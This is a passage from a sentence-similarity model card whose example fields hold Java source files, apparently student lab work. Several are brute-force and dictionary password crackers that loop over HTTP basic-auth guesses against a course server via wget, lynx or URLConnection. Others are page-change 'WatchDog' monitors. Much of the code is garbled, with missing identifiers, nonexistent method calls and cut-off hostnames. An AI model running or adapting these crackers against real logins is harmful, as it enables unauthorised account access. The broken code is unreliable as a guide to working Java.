    \       Runtime run = Runtime.getRuntime();\n       GregorianCalendar =new GregorianCalendar();\n\
    \       while((passwd=bf.readLine().trim())!=null)\n       {\n           if((i=passwd.indexOf(\"\
    \\'\"))!= -1)\n                 {\n                    passwd =passwd.substring(0,i)+(\"\
    \\\\\")+(passwd.substring(i,passwd.length()));\n                 }\n\n       \
    \   System.out.println(\"Hack password with the word:\"+passwd);\n\t      String\
    \ command_line = \"lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth=\"+username+\"\
    :\"+passwd+\" -dump\";\n\t      Process result = run.exec(command_line);\n   \
    \       BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));\n\
    \n        while((line=bf.readLine())!=null)\n        {\n           flag=1;\n \
    \          break;\n\n        }\n        if(flag==1)\n        {\n           System.out.println(\"\
    The username is: \"+username+\" The password is: \"+passwd);\n           break;\n\
    \        }\n       }\n       GregorianCalendar end=new GregorianCalendar();\n\
    \       double time = (double)(end.getTimeInMillis()-System.getTimeInMillis())/1e3;\n\
    \       System.out.println(\"The attack use\"+time+\" seconds.\");\n    }\n\n\
    public static void main(String args[]) throws Exception\n{\n   Dictionary ds =\
    \ new Dictionary();\n   ds.crackAddress(args[0]);\n}\n}"
- source_sentence: "package java.httputils;\n\nimport java.io.BufferedInputStream;\n\
    import java.io.BufferedOutputStream;\nimport java.io.BufferedReader;\nimport java.io.FileInputStream;\n\
    import java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport\
    \ java.io.FileReader;\nimport java.io.IOException;\nimport java.io.OutputStream;\n\
    \n\npublic class WatchDog\n{\n    protected final int MILLIS_IN_HOUR = (60 * 60\
    \ * 1000);\n    protected int interval = 24;\n    protected String URL = \"http://www.cs.rmit.edu./students/\"\
    ;\n    protected String fileName = \"WatchDogContent.html\";\n    protected String\
    \ command = \"./alert_mail.sh\";\n    protected String savedContent;\n    protected\
    \ String retrievedContent;\n\n    \n    public WatchDog()\n    {\n        super();\n\
    \    }\n\n    \n    public void run() throws Exception\n    {\n        HttpRequestClient\
    \ client = null;\n        \n        \n        System.out.println(getClass().getName()\
    \ +\n                        \"Retrieving baseline copy of: \" + getURL());\n\
    \        client = new HttpRequestClient(getURL());\n        retrievedContent =\
    \ client.getContent().toString();\n\n        System.out.println(getClass().getName()\
    \ +\n                        \"Writing baseline content : \" + getFileName());\n\
    \        writeFile();\n\n        while (true)\n        {\n            \n     \
    \       System.out.println(getClass().getName() +\n                          \
    \  \" Sleeping for hours: \" + getInterval());\n            Thread.currentThread().sleep(MILLIS_IN_HOUR\
    \ * getInterval());\n\n            \n            System.out.println(getClass().getName()\
    \ +\n                            \" Retrieving: \" + getURL());\n\n          \
    \  client = new HttpRequestClient(getURL());\n            retrievedContent = client.getContent().toString();\n\
    \n            \n            System.out.println(getClass().getName() +\n      \
    \                      \"  saved copy: \" + getURL());\n            savedContent\
    \ = readFile();\n\n            \n            System.out.println(getClass().getName()\
    \ +\n                            \" Comparing saved and retrieved. \");\n    \
    \        if (!savedContent.equals(retrievedContent))\n            {\n        \
    \        \n                System.out.println(getClass().getName() +\n       \
    \                         \" Difference found. \");\n\n                writeTempFile();\n\
    \                runCommand();\n            }\n\n            \n            writeFile();\n\
    \        }\n    }\n\n\n    \n    public String runCommand()\n    {\n        String\
    \ cmd = getCommand() + \" \\\"\" + getURL() + \"\\\"\";\n        try\n       \
    \ {\n            Runtime r = Runtime.getRuntime();\n            System.out.println(getClass().getName()\
    \ +\n            \" Executing: \" + cmd);\n\n            Process proc = r.exec(cmd);\n\
    \        }\n        catch (Exception e)\n        {\n            try\n        \
    \    {\n                Runtime r = Runtime.getRuntime();\n                Process\
    \ proc = r.exec(cmd);\n            }\n            catch (Exception ex)\n     \
    \       {\n                System.out.println(getClass().getName()\n         \
    \           + \" Could not run :\"\n                    + getCommand()\n     \
    \               + \" because : \"\n                    + ex.getMessage());\n \
    \           }\n        }\n\n        return \"Executed successfully\";\n    }\n\
    \n    \n    protected String readFile() throws FileNotFoundException\n    {\n\
    \        BufferedInputStream input = null;\n        FileInputStream file = null;\n\
    \        StringBuffer content = new StringBuffer();\n        try\n        {\n\
    \            file = new FileInputStream(getFileName());\n            \n      \
    \      input = new BufferedInputStream(file);\n            \n        }\n     \
    \   catch (FileNotFoundException x)\n        {\n            System.err.println(\"\
    File not found: \" + getFileName());\n            throw x;\n        }\n\n    \
    \    try\n        {\n            int ch;\n            while ((ch = input.get())\
    \ != -1)\n            {\n                content.append((char)ch);\n         \
    \   }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n\
    \        }\n        finally\n        {\n            if (input != null)\n     \
    \       {\n                try\n                {\n                    input.get();\n\
    \                    file.get();\n                }\n                catch (IOException\
    \ e)\n                {\n                }\n            }\n        }\n       \
    \ return content.toString();\n    }\n\n    \n    protected void writeFile() throws\
    \ Exception\n    {\n        OutputStream os = null;\n        try\n        {\n\
    \            os = new BufferedOutputStream(\n                     new FileOutputStream(getFileName(),\
    \ false));\n            os.write(getRetrievedContent().getBytes());\n        }\n\
    \        catch (FileNotFoundException e)\n        {\n            e.printStackTrace();\n\
    \            throw e;\n        }\n        catch (IOException e)\n        {\n \
    \           e.printStackTrace();\n            throw e;\n        }\n        finally\n\
    \        {\n            if (os != null)\n            {\n                try\n\
    \                {\n                    os.close();\n                }\n     \
    \           catch (IOException e)\n                {\n                }\n    \
    \        }\n        }\n    }\n\n    \n    protected void writeTempFile() throws\
    \ Exception\n    {\n        OutputStream os = null;\n        try\n        {\n\
    \            os = new BufferedOutputStream(\n                     new FileOutputStream(\"\
    .html\", false));\n            os.write(getRetrievedContent().getBytes());\n \
    \       }\n        catch (FileNotFoundException e)\n        {\n            e.printStackTrace();\n\
    \            throw e;\n        }\n        catch (IOException e)\n        {\n \
    \           e.printStackTrace();\n            throw e;\n        }\n        finally\n\
    \        {\n            if (os != null)\n            {\n                try\n\
    \                {\n                    os.close();\n                }\n     \
    \           catch (IOException e)\n                {\n                }\n    \
    \        }\n        }\n    }\n\n    public static void main(String[] args)\n \
    \   {\n        WatchDog watchDog = new WatchDog();\n\n        if (args.length\
    \ < 3)\n        {\n            watchDog.printUsage();\n        }\n\n        \n\
    \        System.out.println(watchDog.getClass().getName() +\n                \
    \        \": Initialising with \" +\n                        args[0] + \" \\n\"\
    \ +\n                        args[1] + \" \\n\" +\n                        args[2]\
    \ + \" \\n\");\n        watchDog.setURL(args[0]);\n        watchDog.setInterval(Integer.parseInt(args[1]));\n\
    \        watchDog.setCommand(args[2]);\n\n        \n        try\n        {\n \
    \           System.out.println(watchDog.getClass().getName() + \": Invoking the\
    \ run method.\");\n            watchDog.run();\n        }\n        catch (Exception\
    \ e)\n        {\n            e.printStackTrace();\n        }\n    }\n\n    public\
    \ String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n\
    \        s.append(\"** WatchDog proper usage **\\n\\n\");\n        s.append(\n\
    \            this.getClass().getName() +\n            \" <URL> <interval> <Command\
    \  execute>\\n\\n\");\n\n        return s.toString();\n    }\n\n    \n    public\
    \ String getCommand()\n    {\n        return command;\n    }\n\n    \n    public\
    \ String getFileName()\n    {\n        return fileName;\n    }\n\n    \n    public\
    \ int getInterval()\n    {\n        return interval;\n    }\n\n    \n    public\
    \ String getURL()\n    {\n        return URL;\n    }\n\n    \n    public void\
    \ setCommand(String string)\n    {\n        command = string;\n    }\n\n    \n\
    \    public void setFileName(String string)\n    {\n        fileName = string;\n\
    \    }\n\n    \n    public void setInterval(int i)\n    {\n        interval =\
    \ i;\n    }\n\n    \n    public void setURL(String string)\n    {\n        URL\
    \ = string;\n    }\n\n    \n    public String getRetrievedContent()\n    {\n \
    \       return retrievedContent;\n    }\n\n    \n    public String getSavedContent()\n\
    \    {\n        return savedContent;\n    }\n\n    \n    public void setRetrievedContent(String\
    \ string)\n    {\n        retrievedContent = string;\n    }\n\n    \n    public\
    \ void setSavedContent(String string)\n    {\n        savedContent = string;\n\
    \    }\n\n}\n"
  sentences:
  - "\n\n\n\n\n\n\nimport java.*;\nimport java.io.*;\nimport java.util.*;\n\npublic\
    \ class BruteForce\n{\n\n\tpublic static void main(String[] args)    \n\t{\n \
    \         Runtime rt = Runtime.getRuntime();\n\t  Process pr= null;\n        \
    \  char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n\
    \t  String pass;\n          char temp[] = {'a','a'};\n          char temp1[] =\
    \ {'a','a','a'};\n          char temp2[] = {'a'};\n\n\t  String f= new String();\n\
    \          String resp = new String();\n          int count=0;\n          String\
    \ success = new String();\n          InputStreamReader  instre;\n          BufferedReader\
    \ bufread;\n\n\n               for(int k=0;k<52;k++)\n                {\n    \
    \             temp2[0]=chars[k];\n                 pass = new String(temp2); \
    \             \n                 count++;              \n\n        System.out.println(\"\
    The password  tried is------->\"+pass+\"---and attempt is==\"+count);\n      \
    \    \n              f =\"wget --http-user= --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
    ;\n\n                 \n\t         try\n                  {\n\t\t    pr = rt.exec(f);\n\
    \n                    instre = new InputStreamReader(pr.getErrorStream());\n \
    \                                \n                  \n                    bufread\
    \ = new BufferedReader(instre);\n\n                    resp = bufread.readLine();\n\
    \                    while( (resp = bufread.readLine())!= null)\n\t\t\t  {\n \
    \                         if(resp.equals(\"HTTP request sent, awaiting response...\
    \ 200 OK\"))\n                             {\n                              System.out.println(\"\
    Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"\
    +count);\n                              System.exit(0);\n                    \
    \         }\n\t\t\t\n                          }\n\t \t\n                  }catch(java.io.IOException\
    \ e){}\n                }\n\n\n\n  \n            for(int j=0;j<52;j++)\n     \
    \         {\n                for(int k=0;k<52;k++)\n                {\n      \
    \           temp[0]=chars[j];\n                 temp[1]=chars[k];\n\n        \
    \         pass = new String();              \n                 count++;      \
    \        \n\n                 System.out.println(\"The password  tried is------->\"\
    +pass+\"---and attempt is==\"+count);\n          \n                f =\"wget --http-user=\
    \ --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n\n\
    \                 \n\t         try\n                  {\n\t\t    pr = rt.exec(f);\n\
    \n                    instre = new InputStreamReader(pr.getErrorStream());\n \
    \                                \n                  \n                    bufread\
    \ = new BufferedReader(instre);\n\n                    resp = bufread.readLine();\n\
    \                    while( (resp = bufread.readLine())!= null)\n\t\t\t  {\n \
    \                         if(resp.equals(\"HTTP request sent, awaiting response...\
    \ 200 OK\"))\n                             {\n                              System.out.println(\"\
    Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"\
    +count);\n                              System.exit(0);\n                    \
    \         }\n\t\t\t\n                          }\n\t \t\n                  }catch(java.io.IOException\
    \ e){}\n                 }\n               }\n\n\n     \n         for(int i=0;i<52;i++)\n\
    \            for(int j=0;j<52;j++)\n               for(int k=0;k<52;k++)\n   \
    \             {\n                 temp1[0]=chars[i];\n                 temp1[1]=chars[j];\n\
    \                 temp1[2]=chars[k];\n                 pass = new String(temp1);\
    \              \n                 count++;              \n\n        System.out.println(\"\
    The password  tried is------->\"+pass+\"---and attempt is==\"+count);\n      \
    \    \n              f =\"wget --http-user= --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
    ;\n\n                 \n\t         try\n                  {\n\t\t    pr = rt.exec(f);\n\
    \n                    instre = new InputStreamReader(pr.getErrorStream());\n \
    \                                \n                  \n                    bufread\
    \ = new BufferedReader(instre);\n\n                    resp = bufread.readLine();\n\
    \                    while( (resp = bufread.readLine())!= null)\n\t\t\t  {\n \
    \                         if(resp.equals(\"HTTP request sent, awaiting response...\
    \ 200 OK\"))\n                             {\n                              System.out.println(\"\
    Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"\
    +count);\n                              System.exit(0);\n                    \
    \         }\n\t\t\t\n                          }\n\t \t\n                  }catch(java.io.IOException\
    \ e){}\n                }\n\t\n\t\t\n\t}\n\t\n\t\n} \n\t\t\n"
  - "import java.util.*;\nimport java.io.*;\n\n\n\npublic class WatchDog {\n\n  public\
    \ WatchDog() {\n\n  }\n  public static void  main(String args[]) {\n    DataInputStream\
    \ newin;\n\n    try{\n\n\n      System.out.println(\"Downloading first copy\"\
    );\n      Runtime.getRuntime().exec(\"wget http://www.cs.rmit.edu./students/ -O\
    \ oldfile.html\");\n      String[] cmdDiff = {\"//sh\", \"-c\", \"diff oldfile.html\
    \ newfile.html > Diff.txt\"};\n      String[] cmdMail = {\"//sh\", \"-c\", \"\
    mailx -s \\\"Diffrence\\\" \\\"@cs.rmit.edu.\\\" < Diff.txt\"};\n      while(true){\n\
    \            Thread.sleep(24*60*60*1000);\n            System.out.println(\"Downloading\
    \ new copy\");\n            Runtime.getRuntime().exec(\"wget http://www.cs.rmit.edu./students/\
    \ -O newfile.html\");\n            Thread.sleep(2000);\n            Runtime.getRuntime().exec(cmdDiff);\n\
    \            Thread.sleep(2000);\n            newin = new DataInputStream( new\
    \ FileInputStream( \"Diff.txt\"));\n            if (newin.readLine() != null){\n\
    \               System.out.println(\"Sending Mail\");\n               Runtime.getRuntime().exec(cmdMail);\n\
    \               Runtime.getRuntime().exec(\"cp newfile.html oldfile.html\");\n\
    \n            }\n        }\n\n    }\n    catch(Exception e){\n      e.printStackTrace();\n\
    \    }\n\n    }\n\n}"
  - "\n\nimport java.io.*;\nimport java.util.*;\nimport java.net.*;\n\n\npublic class\
    \ BruteForce {\n\n\tpublic BruteForce() {\n\t\t\n\t}\n\n\tpublic static void main(String[]\
    \ args) {\n\n\tString[] validPW = { \"a\", \"b\", \"c\", \"d\", \"e\", \"f\",\
    \ \"g\", \"h\", \"i\", \"j\", \"k\", \"l\", \"m\",\n\t\t\t\"n\", \"o\", \"p\"\
    , \"q\", \"r\", \"s\", \"t\", \"u\", \"v\", \"w\", \"x\", \"y\", \"z\",\n\t\t\t\
    \"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\", \"H\", \"I\", \"J\", \"K\", \"\
    L\", \"M\",\n\t\t\t\"N\", \"O\", \"P\", \"Q\", \"R\", \"S\", \"T\", \"U\", \"\
    V\", \"W\", \"X\", \"Y\", \"Z\" };\n\n\tString attackWP = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
    ;\n\tString userID = \"\";\n\tint trytimes = 0;\n\tint count=52;\n\tString userPassword=\"\
    \";\n\ttry {\n\t\t startmillisecond = System.currentTimeMillis();\n\t\n\t\tfor\
    \ (int i = 0; i < count; i++) {\n                  for (int j = 0; j < count;\
    \ j++) {\n                    for (int k = 0; k < count; k++) {\n\t\t\ttrytimes\
    \ ++;\n\t\t\tuserPassword = userID + \":\" + validPW[i] + validPW[j] + validPW[k];\n\
    \t\t\tint attackOK = new BruteForce().attackURL(userPassword, attackWP);\n\t\t\
    \tif (attackOK == 1) {\n\t\t\t\t endmillisecond = System.currentTimeMillis();\n\
    \t\t\t\t searchmillisecond = endmillisecond - startmillisecond;\n\t\t\t\tSystem.out.println(\"\
    Match in \" + searchmillisecond + \" milliseconds \");\n\t\t\t\tSystem.out.println(\"\
    Try \" + trytimes + \" times \");\n\t\t\t\tSystem.exit(1);\n\t\t\t}\n\t\t    }\n\
    \t\t  }\n\t\t}\n\t\n\t\tfor (int i = 0; i < count; i++) {\n                  for\
    \ (int j = 0; j < count; j++) {\n\t\t\ttrytimes ++;\n\t\t\tuserPassword = userID\
    \ + \":\" + validPW[i] + validPW[j];\n\t\t\tint attackOK = new BruteForce().attackURL(userPassword,\
    \ attackWP);\n\t\t\tif (attackOK == 1) {\n\t\t\t\t endmillisecond = System.currentTimeMillis();\n\
    \t\t\t\t searchmillisecond = endmillisecond - startmillisecond;\n\t\t\t\tSystem.out.println(\"\
    Match in \" + searchmillisecond + \" milliseconds \");\n\t\t\t\tSystem.out.println(\"\
    Try \" + trytimes + \" times \");\n\t\t\t\tSystem.exit(1);\n\t\t\t}\n\t\t  }\n\
    \t\t}\n\t\n\t\tfor (int i = 0; i < count; i++) {\n\t\t\tuserPassword = userID\
    \ + \":\" + validPW[i];\n\t\t\ttrytimes ++;\n\t\t\tint attackOK = new BruteForce().attackURL(userPassword,\
    \ attackWP);\n\t\t\tif (attackOK == 1) {\n\t\t\t\t endmillisecond = System.currentTimeMillis();\n\
    \t\t\t\t searchmillisecond = endmillisecond - startmillisecond;\n\t\t\t\tSystem.out.println(\"\
    Match in \" + searchmillisecond + \" milliseconds \");\n\t\t\t\tSystem.out.println(\"\
    Try \" + trytimes + \" times \");\n\t\t\t\tSystem.exit(1);\n\t\t\t}\n\t\t}\n\t\
    }\n\tcatch (Exception ioe) {\n            System.out.println(ioe.getMessage());\n\
    \        }\n        finally {\n        }\n\t}\n\t\n\tpublic int attackURL(String\
    \ userPassword, String attackWP) {\n\t\tint rtn = 1;\n\t\ttry {\n\t\t        URL\
    \ url = new URL(attackWP);\n\t\t\tSystem.out.println(\"User & Password :\" + userPassword);\n\
    \t\t        String encoding = Base64Converter.encode (userPassword.getBytes());\n\
    \t\t\t\n\t\t\tURLConnection uc = url.openConnection();\n\t\t\tuc.setRequestProperty\
    \  (\"Authorization\", \" \" + encoding);\n\t\t\tInputStream content = (InputStream)uc.getInputStream();\n\
    \t\t\tBufferedReader in = new BufferedReader (new InputStreamReader (content));\n\
    \t\t\tString line;\n\t\t\twhile ((line = in.readLine()) != null) {\n\t\t\t\n\t\
    \t\t\tSystem.out.println(line);\n\t\t        }\n\t\t} catch (MalformedURLException\
    \ e) {\n\t\t\trtn = 2;\n\t       \t\tSystem.out.println(\"Invalid URL\");\n\t\t\
    } catch (IOException e) {\n      \t\t\tSystem.out.println(\"Error  URL\");\n\t\
    \t\trtn = 2;\n\t\t}\n\t\treturn rtn;\n\t}\n\n}\n"
- source_sentence: "\n\n\n\n\n\n\nimport java.io.*;\nimport java.lang.Object;\n\n\
    public class WatchDog\n{\n\n   \n   public static void main(String args[])throws\
    \ Exception\n   {\n        Process p1,p2,p3,p4,p5;\n        \n        for(;;)\n\
    \        {\n          \n\n          String s1[] = {\"/usr/local//tcsh\", \"-c\"\
    , \"mailx -s \\\"Part 2-Assignment2 \\\"  < change.html\"};\n          String\
    \ s2[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./images/*.* predir\"\
    };\n          String s3[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./students/*.*\
    \ predir\"};\n          String s4[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./images/*.*\
    \ postdir\"};\n          String s5[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./students/*.*\
    \ postdir\"};\n          String s6[] = {\"/usr/local//tcsh\", \"-c\", \"diff copy1\
    \ copy2 > diff.html\"};\n\n\n          Process p = Runtime.getRuntime().exec(\"\
    mkdir predir\");\n          p.waitFor();\n          Process p1 = Runtime.getRuntime().exec(\"\
    mkdir postdir\");\n          p1.waitFor();\n\n          \n          p1 = Runtime.getRuntime().exec(\"\
    wget -p --convert-links http://www.cs.rmit.edu./students/\");\n          p1.waitFor();\n\
    \n          Process q2 = Runtime.getRuntime().exec(s2);\n          q2.waitFor();\n\
    \          Process q3 = Runtime.getRuntime().exec(s3);\n          q2.waitFor();\n\
    \n          \n          Thread.sleep(86400000);\n\n          p3 = Runtime.getRuntime().exec(\"\
    wget -p --convert-links http://www.cs.rmit.edu./students/\");\n          p3.waitFor();\n\
    \n          Process q4 = Runtime.getRuntime().exec(s4);\n          q4.waitFor();\n\
    \          Process q5 = Runtime.getRuntime().exec(s5);\n          q5.waitFor();\n\
    \n          try\n          {\n            String str;\n            p4 = Runtime.getRuntime().exec(s6);\n\
    \            DataInputStream inp1 = new DataInputStream(p4.getInputStream());\n\
    \            p4.waitFor();\n            \n            System.out.println(\"The\
    \ WatchDog - Returns 0 if  change  else 1\");\n            System.out.println(\"\
    Value :\" + p4.exitValue());\n            try\n            {\n               \
    \ while ((str = inp1.readLine()) != null)\n                {\n               \
    \     System.out.println(str);\n                }\n            }\n           \
    \ catch (IOException e)\n            {\n                System.exit(0);\n    \
    \        }\n\n          }\n          catch(FileNotFoundException e )\n       \
    \   {\n              e.printStackTrace();\n          }\n\n          BufferedReader\
    \ in = new BufferedReader(new FileReader(\"change.html\"));\n          \n    \
    \      if (in.readLine() != null)\n          {\n\n          try\n          {\n\
    \            String str1;\n            p5 = Runtime.getRuntime().exec(s1);\n \
    \           DataInputStream inp2 = new DataInputStream(p5.getInputStream());\n\
    \            p5.waitFor();\n          try\n            {\n                while\
    \ ((str1 = inp2.readLine()) != null)\n                {\n                    System.out.println(str1);\n\
    \                }\n            }\n            catch (IOException e1)\n      \
    \      {\n                System.exit(0);\n            }\n\n          }\n    \
    \      catch(FileNotFoundException exp)\n          {\n              exp.printStackTrace();\n\
    \          }\n\n        }\n    }\n  }\n}\n\n"
  sentences:
  - "import java.Object;\nimport java.io.*;\nimport java.String;\nimport java.util.*;\n\
    \nclass Dictionary{\n\n      public static void main(String [] args){\n      \
    \        try\n                {\n                Date d = new Date();\n      \
    \          String line1=\"\";\n                String ps=\"\";\n             \
    \   String file1 = \"words.txt\";\n                String file2 = \"index.html\"\
    ;\n                String endline=\"Authorization failed.\";\n               \
    \ String [] cmd = new String[4];\n                cmd[0] = \"wget\";\n       \
    \         cmd[1] = \"--http-user=\";\n                cmd[3] = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
    ;\n\n                FileReader fr1 = new FileReader(file1);\n               \
    \ BufferedReader in1 = new BufferedReader(fr1);\n                while((line1\
    \ = in1.readLine())!=null)\n                {\n                  try{\n      \
    \              cmd[2] = connect(line1);\n                    Runtime.getRuntime().exec(cmd);\n\
    \                    if(line1.length()==3)\n                      ps = line1;\n\
    \                    System.out.println(cmd[2]);\n                    File f =\
    \ new File(file2);\n                    if(f.exists())\n                    {\n\
    \                    System.out.println(\"password: \" + ps);\n              \
    \      break;\n                    }\n                   }\n                 \
    \   catch(IOException ex)\n                    {\n                        System.out.println(\"\
    hello1\");\n                    }\n\n                }\n                Date end\
    \ = new Date();\n                System.out.println(d.toString());\n         \
    \       System.out.println(end.toString());\n                System.out.println(\"\
    Seconds: \" + (end.getSeconds()-d.getSeconds()));\n               }\n\n      \
    \      catch(IOException e)\n            {\n              System.out.println(\"\
    hello,didnt find file.\");\n            }\n      }\n    public static String connect(String\
    \ str1)\n            {\n                 char data[] = {'-','-','h','t','t','p','-','p','a','s','s','w','d','='};\n\
    \                 String str = new String(data);\n                 return str\
    \ + str1;\n            }\n\n}\n"
  - "import java.io.*;\nimport java.net.*;\nimport java.security.*;\nimport java.math.*;\n\
    import java.*;\nimport java.util.*;\n\n\npublic class WatchDog\n{\n    public\
    \ static FileWriter out = null, output = null;\n\n    public static void main\
    \ (String args[]) throws Exception {\n\tSocket socket = null;\n\tDataOutputStream\
    \  = null;\n\tBufferedReader bf = null, fr = null;\n\tString retVal = null, StatusCode\
    \ = \"HTTP/1.1 200 OK\";\n    int dirty = 0, count = 0;\n\n         stime = System.currentTimeMillis();\n\
    \        System.out.println(\"Detecting the changes...\");\n\n        try {\n\n\
    \t        \n            URL yahoo = new URL(\"http://www.cs.rmit.edu./students/\"\
    );\n            URLConnection yc = yahoo.openConnection();\n\n            \n \
    \           BufferedReader in = new BufferedReader(\n                        \
    \            new InputStreamReader(\n                                    yc.getInputStream()));\n\
    \n            String inputLine;\n            try {\n                out = new\
    \ FileWriter(\"newstudent\");\n                while ((inputLine = in.readLine())\
    \ != null){\n                        out.write(inputLine + \"\\n\");\n       \
    \         }\n            } catch (IOException ex) {\n                ex.printStackTrace();\n\
    \            }\n            in.print();\n            out.print();\n\n        \
    \    dirty = diff();\n            if (dirty == 1){\n               sendMail();\n\
    \               System.out.println(\"Changes detected and email sent!\");\n  \
    \          }\n\n            if (diffimages() == 1){\n               sendMail();\n\
    \               System.out.println(\"Images modification detected and email sent!\"\
    );\n            }\n\n            updatePage();\n            System.out.println(\"\
    ** End of WatchDog checking **\");\n\n            } catch (Exception ex) {\n \
    \             ex.printStackTrace();\n            }\n    }\n\n    public static\
    \ int diff()\n    {\n       int update = 0;\n\n       try{\n           Process\
    \ process = Runtime.getRuntime().exec(\"diff -b RMITCSStudent newstudent\");\n\
    \           BufferedReader pr = new BufferedReader(\n                        \
    \           new InputStreamReader(\n                                   process.getInputStream()));\n\
    \n           output = new FileWriter(\"output\");\n           String inputLine;\n\
    \           while ((inputLine = pr.readLine()) != null){\n                 output.write(inputLine\
    \ + \"\\n\");\n                 update = 1;\n           }\n           output.promt();\n\
    \n       }catch (Exception ex){\n              ex.printStackTrace();\n       }\n\
    \       return update;\n    }\n\n    public static int diffimages()\n    {\n \
    \      int update = 0;\n       String image;\n\n       try{\n           Process\
    \ primages = Runtime.getRuntime().exec(\"./images.sh\");\n           wait(1);\n\
    \           File imageFile = new File(\"imagesname\");\n           BufferedReader\
    \ fr = new BufferedReader(new FileReader(imageFile));\n\n           output = new\
    \ FileWriter(\"output\");\n           while ((image = fr.readLine()) != null)\
    \ {\n                 primages = Runtime.getRuntime().exec(\"diff \" + image +\
    \ \" o\"+image);\n                 BufferedReader pr = new BufferedReader(\n \
    \                                      new InputStreamReader(\n              \
    \                         primages.getInputStream()));\n\n                 String\
    \ inputLine;\n                 while ((inputLine = pr.readLine()) != null){\n\
    \                       output.write(inputLine + \"\\n\");\n                 \
    \      update = 1;\n                 }\n           }\n           output.print();\n\
    \           fr.close();\n\n       }catch (Exception ex){\n              ex.printStackTrace();\n\
    \       }\n       return update;\n    }\n\n    public static void sendMail()\n\
    \    {\n       try{\n           Process mailprocess = Runtime.getRuntime().exec(\"\
    ./email.sh\");\n       }catch (Exception ex){\n           ex.printStackTrace();\n\
    \       }\n    }\n\n    public static void updatePage()\n    {\n       String\
    \ image;\n\n       try{\n           Process updateprocess = Runtime.getRuntime().exec(\"\
    cp newstudent RMITCSStudent\");\n           Process deleteprocess = Runtime.getRuntime().exec(\"\
    rm newstudent\");\n\n           File inputFile = new File(\"imagesname\");\n \
    \          BufferedReader fr = new BufferedReader(new FileReader(inputFile));\n\
    \           while ((image = fr.readLine()) != null) {\n                 updateprocess\
    \ = Runtime.getRuntime().exec(\"cp \" + image + \" o\" + image);\n           \
    \      deleteprocess = Runtime.getRuntime().exec(\"rm \" + image);\n         \
    \  }\n           fr.close();\n       }catch (Exception ex){\n           ex.printStackTrace();\n\
    \       }\n    }\n\n    public static void wait(int time){\n\t   int timer, times;\n\
    \t   timer = System.currentTimeMillis();\n\t   times = (time * 1000) + timer;\n\
    \n\t   while(timer < times)\n\t\t\ttimer = System.currentTimeMillis();\n\t}\n}"
  - "import java.io.*;\nimport java.util.*;\nimport java.net.*;\nimport java.net.Authenticator;\n\
    \n\npublic class  BruteForce\n{\n\n\tprivate String result =\"\";\n\n\tpublic\
    \ class customAuthenticator extends Authenticator {\n\t       public customAuthenticator(String\
    \ passwd)\n           {\n            this.pass = passwd;\n           }\n\n\t \
    \      protected PasswordAuthentication getPasswordAuthentication()\n        \
    \   {\n\t                 return new PasswordAuthentication(\"\",pass.toCharArray());\n\
    \           }\n           public String pass;\n    }\n\n    public BruteForce()\
    \ {\n            java.util.Date d = java.util.Calendar.getInstance().getTime();\n\
    \            System.out.println(d.toString());\n\t\tchar words[] = { 'a','b','c','d','e',\
    \ 'f', 'g', 'h', 'i','j','k','l','m','n','o','p',\n\t\t\t\t\t\t\t  'q','r','s','t','u','v','w','x','y','z',\
    \ 'A','B','C','D','E', 'F', 'G',\n\t\t\t\t\t\t\t   'H', 'I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n\
    \n\t\tString record = null;\n\n\n\n        String url = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
    ;\n\n\t\tchar pass[] = {'x','x','x'};\n\t\tint count=1;\n\t\tString passwd=new\
    \ String();\n        HttpURLConnection connection = null;\n        URL u = null;\n\
    \n        try\n        {\n         u = new URL(url);\n\n        }\n        catch\
    \ (MalformedURLException e)\n        {\n        }\n\n        for(int a=0;a<words.length;a++)\n\
    \        {\n                for(int b=0;b<words.length;b++)\n                {\n\
    \                        for(int c=0;c<words.length;c++)\n                   \
    \     {\n                                 pass[0]=words[a];\n                \
    \                 pass[1]=words[b];\n                                 pass[2]=words[c];\n\
    \                                 passwd=passwd.copyValueOf(pass,0,3);\n     \
    \                            System.out.println(count+ \" ) \" + passwd);\n  \
    \                               count++;\n                                 try\n\
    \                                 {\n\n                                      \
    \ connection = (HttpURLConnection) u.openConnection();\n                     \
    \                  Authenticator.setDefault(new customAuthenticator(passwd));\n\
    \n                                       if (connection.getResponseCode()!=401)\n\
    \                                       {\n                                  \
    \          System.out.print(\"The password is : \"+passwd);\n                \
    \                            System.out.println();\n                         \
    \                   java.util.Date d1 = java.util.Calendar.getInstance().getTime();\n\
    \                                            System.out.println(d1.toString());\n\
    \                                            System.out.println(\"\\ntime taken\
    \ in seconds:\"+ (d1.getTime() - d.getTime())/1000+\"\\n\");\n\n             \
    \                               System.exit(0);\n                            \
    \           }\n                                       else\n                 \
    \                      {\n                                       }\n         \
    \                              connection.disconnect();\n                    \
    \             }\n                                 catch (IOException e)\n    \
    \                             {\n                                       System.out.println(e);\n\
    \                                 }\n                        }\n             \
    \   }\n        }\n    }\n\n\tpublic static void main(String[] args)\n\t{\n\n\n\
    \t\tBruteForce  = new BruteForce();\n\t}\n}"
datasets:
- buelfhood/SOCO_TRAIN_java
pipeline_tag: sentence-similarity
library_name: sentence-transformers
---

